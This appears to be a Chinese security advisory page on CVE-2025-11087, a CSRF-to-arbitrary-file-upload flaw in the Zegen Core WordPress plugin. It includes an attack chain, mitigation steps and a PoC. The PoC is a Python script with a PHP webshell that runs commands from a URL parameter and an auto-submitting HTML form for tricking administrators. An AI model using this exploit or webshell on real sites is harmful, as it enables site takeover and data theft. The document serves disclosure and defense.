IPBUF安全漏洞报告
English
CVE-2025-11087 CVSS 8.8 高危

CVE-2025-11087 Zegen Core WordPress插件CSRF任意文件上传漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-11087
漏洞类型
跨站请求伪造(CSRF)/任意文件上传/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Zegen Core plugin for WordPress

相关标签

CVE-2025-11087WordPress插件漏洞CSRF跨站请求伪造任意文件上传远程代码执行Zegen Core高危漏洞WordPress安全

漏洞概述

CVE-2025-11087是WordPress Zegen Core插件中的一个高危安全漏洞,CVSS评分8.8。该漏洞存在于插件的/custom-font-code/custom-fonts-uploads.php文件中,由于缺少CSRF nonce验证和文件类型验证,导致未经身份认证的攻击者可以构造恶意请求诱骗管理员上传任意文件到服务器。攻击成功后,攻击者可上传webshell等恶意文件,进而实现远程代码执行,完全控制受影响的WordPress站点。此漏洞影响Zegen Core插件2.0.1及以下所有版本,攻击利用需要诱导管理员点击特制链接或访问包含恶意表单的页面。

技术细节

漏洞根源在于Zegen Core插件的文件上传功能存在双重安全缺陷。首先,custom-fonts-uploads.php端点缺少WordPress nonce验证机制,使得攻击者可以构造跨站请求伪造(CSRF)攻击,绕过同源策略限制。其次,该端点对上传文件类型缺乏有效验证,未检查文件扩展名和MIME类型,允许任意文件格式上传。攻击者可通过创建一个包含file upload表单的恶意网页,当管理员访问时自动提交POST请求到目标站点的/custom-font-code/custom-fonts-uploads.php。由于请求来自管理员浏览器,WordPress会认为这是合法操作。攻击者可以上传.php webshell或其他恶意脚本到wp-content/uploads目录,然后通过HTTP请求访问执行,最终获得服务器远程命令执行能力。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意表单的HTML页面,该表单自动向目标站点的custom-fonts-uploads.php端点提交文件上传请求
STEP 2
步骤2
攻击者通过钓鱼邮件、社交工程或其他方式诱骗WordPress管理员访问恶意HTML页面或点击特制链接
STEP 3
步骤3
管理员浏览器自动向目标站点发送POST请求,由于请求来自管理员浏览器且缺少nonce验证,请求被服务器接受
STEP 4
步骤4
任意文件(PHP webshell)被上传到wp-content/uploads目录,攻击者获得服务器上的持久性访问
STEP 5
步骤5
攻击者通过HTTP请求访问上传的webshell,在URL参数中传递系统命令,实现远程代码执行
STEP 6
步骤6
攻击者完全控制WordPress站点,可窃取数据库凭据、植入后门、传播恶意软件或横向移动到其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-11087 PoC - CSRF to Arbitrary File Upload # Target: WordPress site with Zegen Core plugin <= 2.0.1 def exploit_csrf_file_upload(target_url, webshell_content): """ This PoC demonstrates the CSRF vulnerability that allows arbitrary file upload in Zegen Core plugin. Note: This is for educational and authorized testing purposes only. """ # Target endpoint upload_url = f"{target_url}/wp-content/plugins/zegen-core/custom-font-code/custom-fonts-uploads.php" # Prepare malicious file upload files = { 'file': ('shell.php', webshell_content, 'application/x-php') } # CSRF PoC HTML that can be hosted on attacker server csrf_html = f''' <html> <body> <h1>Zegen Core CSRF File Upload PoC</h1> <form action="{upload_url}" method="POST" enctype="multipart/form-data" id="exploit"> <input type="file" name="file" /> <input type="submit" value="Upload" /> </form> <script> document.getElementById('exploit').submit(); </script> </body> </html> ''' # Direct upload attempt (will fail without valid nonce) print(f"[*] Target: {target_url}") print(f"[*] Upload endpoint: {upload_url}") try: response = requests.post(upload_url, files=files, timeout=10) print(f"[*] Status code: {response.status_code}") if response.status_code == 200: print("[+] Upload request sent - Check response for file path") print(f"[+] Response: {response.text}") else: print("[-] Upload failed - CSRF protection or other issue") print("[*] To exploit, trick admin to visit generated HTML page") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return csrf_html # Example webshell content webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Usage example if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] exploit_csrf_file_upload(target, webshell) else: print("Usage: python cve-2025-11087.py <target_url>")

影响范围

Zegen Core plugin for WordPress <= 2.0.1

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 在wp-config.php中添加DISALLOW_FILE_EDIT禁用文件编辑功能;2) 将wp-content/uploads目录设置为不可执行,在该目录添加.htaccess规则防止PHP执行;3) 临时禁用Zegen Core插件直到修复版本发布;4) 使用网站应用防火墙(WAF)规则阻止对custom-fonts-uploads.php的异常请求;5) 对管理员进行安全意识培训,警惕可疑链接和邮件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表